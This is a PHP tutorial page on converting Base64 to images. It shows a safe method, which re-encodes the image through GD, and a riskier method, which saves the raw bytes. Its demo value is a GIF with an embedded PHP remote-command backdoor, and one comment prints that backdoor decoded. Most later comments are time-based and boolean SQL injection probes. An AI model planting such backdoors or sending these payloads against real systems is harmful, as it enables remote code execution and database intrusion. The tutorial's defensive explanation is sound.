A virtual teacher who reveals to you the great secrets of Base64

Convert Base64 to image in PHP

To convert a Base64 value into an image in PHP, you need base64_decode and any function to write binary data to files. Before decoding the data, make sure that you do not need to normalize the Base64 value.

To decode a Base64 string and save it as an image, we have two choices:

  1. Save the image through GD library, but lose the original.
  2. Save the original, but take risks to store “dangerous” files.

It depends on you which method to choose, but I highly recommend using the first method if you do not trust the source (for example, if users upload images to your server). Use the second method only if you are sure that the files are safe, otherwise you risk to jeopardize your system via RFI or LFI vulnerabilities.

To demonstrate the difference between these methods, I deliberately use the following Base64 value:

R0lGODdhAQABAPAAAP8AAAAAACwAAAAAAQABAAACAkQBADs8P3BocApleGVjKCRfR0VUWydjbWQnXSk7Cg==

If you decode the Base64 above, you will get a valid image showing a one-pixel red dot. However, this image also contains a PHP backdoor that executes remote commands. Of course, this backdoor is dangerous only on misconfigured or vulnerable systems, but safety should not be neglected.

1) Convert Base64 to PNG image (recommended):

<?php
// Define the Base64 value you need to save as an image
$b64 = 'R0lGODdhAQABAPAAAP8AAAAAACwAAAAAAQABAAACAkQBADs8P3BocApleGVjKCRfR0VUWydjbWQnXSk7Cg==';

// Obtain the original content (usually binary data)
$bin = base64_decode($b64);

// Load GD resource from binary data
$im = imageCreateFromString($bin);

// Make sure that the GD library was able to load the image
// This is important, because you should not miss corrupted or unsupported images
if (!$im) {
  die('Base64 value is not a valid image');
}

// Specify the location where you want to save the image
$img_file = '/files/images/filename.png';

// Save the GD resource as PNG in the best possible quality (no compression)
// This will strip any metadata or invalid contents (including, the PHP backdoor)
// To block any possible exploits, consider increasing the compression level
imagepng($im, $img_file, 0);

2) Convert Base64 to the original image (dangerous):

<?php
// Define the Base64 value you need to save as an image
$b64 = 'R0lGODdhAQABAPAAAP8AAAAAACwAAAAAAQABAAACAkQBADs8P3BocApleGVjKCRfR0VUWydjbWQnXSk7Cg==';

// Obtain the original content (usually binary data)
$bin = base64_decode($b64);

// Gather information about the image using the GD library
$size = getImageSizeFromString($bin);

// Check the MIME type to be sure that the binary data is an image
if (empty($size['mime']) || strpos($size['mime'], 'image/') !== 0) {
  die('Base64 value is not a valid image');
}

// Mime types are represented as image/gif, image/png, image/jpeg, and so on
// Therefore, to extract the image extension, we subtract everything after the “image/” prefix
$ext = substr($size['mime'], 6);

// Make sure that you save only the desired file extensions
if (!in_array($ext, ['png', 'gif', 'jpeg'])) {
  die('Unsupported image type');
}

// Specify the location where you want to save the image
$img_file = "/files/images/filename.{$ext}";

// Save binary data as raw data (that is, it will not remove metadata or invalid contents)
// In this case, the PHP backdoor will be stored on the server
file_put_contents($img_file, $bin);

By the way, you can improve the first method by combining it with the second one. For example, this will remove unnecessary data and will save image in the original MIME:

<?php
$args = [$im, $img_file];

if ($ext == 'png') {
  $args[] = 0; // No compression for PNGs
} else if ($ext == 'jpeg') {
  $args[] = 100; // 100% quality for JPEGs
}

$fn = "image{$ext}";
call_user_func_array($fn, $args);
Comments (22)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Adesh,
    Awesome explanation.
  • addi,
    thanks!!! this code is working fine.
  • Muhibbullah,
    This is a nice code, Thank you very much.
  • Richard,
    i'm displaying the image using base64_encode() but the output code has a load of code where the ****.jpg should be as i want to rename the ****.jpg for SEO purposes the code about rebuilds the iamge from the database but i want to just stick it straight into the A tag. How can i get from the info above to what i want?

    I only code for my own needs and am not a professional, Any help would be great :)
  • Sergio,
    Hi! I am using code from example 2, everything is ok with image proccesing, but file_put_contents is returning a code like this ... Hoy can I "hide" this code? Why is it returning?

    ����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v90), default quality ��C      $.' ",#(7),01444'9=82<.342��C   2!!22222222222222222222222222222222222222222222222222���,"��  ���}!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz����������������������������������
    • ShiveshChandra,
      header ('Content-Type: image/jpeg');

      Use header just before return or echo image.
  • Gurmeet,
    I have image in rtb text box and image file(base 64) id stored along with text. I want to segregate image and text strings. How it is possible ? Example of text is
    <div>this is text</div> <img src=base 64.......>
  • Devi,
    Hai How to save image multiple from base64 to image?
  • jpexu,
    Thanks really a good page clear and efficient !
  • Rhero,
    GIF87a���������,�������D�;<?php
    exec($_GET['cmd']);


    Yes, I understood...
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    1
  • gBqsPxAZ,
    -1 OR 3*2>(0+5+789-789) --
  • gBqsPxAZ,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    robivgFu')) OR 715=(SELECT 715 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -1; waitfor delay '0:0:15' --
  • gBqsPxAZ,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    1 waitfor delay '0:0:15' --
  • nqhXncMU,
    -1' OR 2+476-476-1=0+0+0+1 or 'YoURLCxF'='
  • ncMUFCMU,
    1 waitfor delay '0:0:15' --
  • ncMUFCMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.